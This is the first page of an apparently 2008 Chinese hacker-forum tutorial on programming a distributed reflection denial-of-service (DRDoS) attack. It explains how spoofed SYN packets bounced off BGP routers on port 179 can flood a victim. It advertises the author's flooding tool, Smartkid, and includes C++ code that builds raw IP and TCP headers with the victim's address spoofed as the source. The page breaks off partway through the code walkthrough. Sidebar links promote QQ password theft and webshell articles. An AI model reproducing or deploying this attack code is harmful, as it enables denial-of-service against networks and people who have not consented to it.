奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客编程 >> 正文

编程实现DRDoS攻击

作者:佚名    文章来源:互联网    点击数:    更新时间:2008-4-22

DRDoS是英文“Distributed Reflection Denial of Servie Attack”的缩写,意思是“分布式反射拒绝服务攻击”。DRDoS方式靠的是发送带有被害者IP地址的SYN连接请求包发给攻击主机BGP。根据TCP三次握手的规则,这些计算机会向源IP(被害者)发出SYN+ACK包来响应这个请求,造成该主机忙于处理这些回应而被拒绝服务攻击

  当被害者被多个网络核心基础设施路由器攻击,所有的连接都是完全合法的SYN/ACK连接回应包,它们显示了一个TCP源端口:179。BGP是中介路由器支持的“边界网关协议”(Border Gateway Protocol)。路由器使用BGP与它们的邻居进行即时的信息交流来交换它们的路由表,这是为了通知它们彼此路由器可以在哪个IP范围内进行转交。BGP的细节并不重要, 每个良好连接的中介器都会接受它们179端口上的连接。也就是说,任何一个SYN数据包到达一个网络路由器上后,都会引出一个该路由的SYN/ACK回应包来,从而利用BGP的特性实现反射放大洪水攻击

  DRDoS与DDoS的不同之处就是不需要在实际攻击之前占领大量的傀儡机,发动DRDoS也只需花费攻击者很少的资源。这种攻击也是在伪造数据包源地址的情况下进行的,从这一点上来说,与Smurf攻击一样;而DRDoS是可以在广域网上进行的,其名称中的“R”意为反射,就是这种攻击行为最大的特点。

  代码实现

  为了实现DRDoS,我专门写了一个强大的综合利用工具Smartkid,实现了以下几个功能:多线程端口扫描、多线程DDoS攻击、多线程DRDoS攻击、ICMP洪水、SYN洪水、自动更新。这款工具已经开放了源代码,大家可以到www.dream2fly.netwww.xfocus.net下载,我随本文也提供了完整源代码。下面我主要根据代码来讲解一下DRDoS的实现原理,为了层次清楚,我删去了ICMP攻击部分,大家可以参看源代码。

  1)首先是初始化要发送的SYN数据报首部,这样攻击线程可以只需要修改少许参数,就能达到加快攻击速度的目的,具体实现代码如下所示。

void CDrdos::InITSynPacket()
  {     //填充IP首部

       memset((void *)&ipheader,0,sizeof(ipheader));

       ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); 

       ipheader.tos=0; 

       ipheader.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); 

       ipheader.ident=1; 

       ipheader.frag_and_flags=0x40; 

       ipheader.ttl=255;            //最大

       ipheader.proto=IPPROTO_TCP; 

       ipheader.checksum=0; 

       ipheader.sourceIP=inet_addr(m_target_ip);

       ipheader.destIP=inet_addr(m_target_ip);

       //填充TCP首部

       memset((void *)&tcpheader,0,sizeof(tcpheader));

       tcpheader.th_dport=htons(m_target_port); 

       tcpheader.th_sport=htons(m_target_port); 

       tcpheader.th_seq=htonl(rand()); 

       tcpheader.th_ack=0; 

       tcpheader.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); 

       tcpheader.th_flag=2;

       //syn 00000010,修改这里来实现不同的标志位探测,是SYN、是FIN,还是ACK探测

       tcpheader.th_win=htons(512); 

       tcpheader.th_urp=0; 

       tcpheader.th_sum=0; 

       //填充TCP伪首部,用来计算TCP头部的效验和

       memset((void *)&psdheader,0,sizeof(psdheader));

       psdheader.saddr=ipheader.sourceIP; 

       psdheader.daddr=ipheader.destIP; 

       psdheader.mbz=0; 

       psdheader.ptcl=IPPROTO_TCP; 

       psdheader.tcpl=htons(sizeof(TCP_HEADER));

  }
 


  2)在开始攻击函数start_drdos中启动一个drdosthread

[1] [2] 下一页

文章录入:随风追忆    责任编辑:随风追忆 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章一句话木马用Upfile.vbs脚本
    推荐文章软件破解教程-第6章第3节 加密算法5
    推荐文章软件破解教程-第6章第3节 加密算法4
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章软件破解教程-常用Win32 API函数简介
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
     热门文章
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
    推荐文章详解Visual C#数据库编程
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章网站防止注入入侵的一些有效代码和方法
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号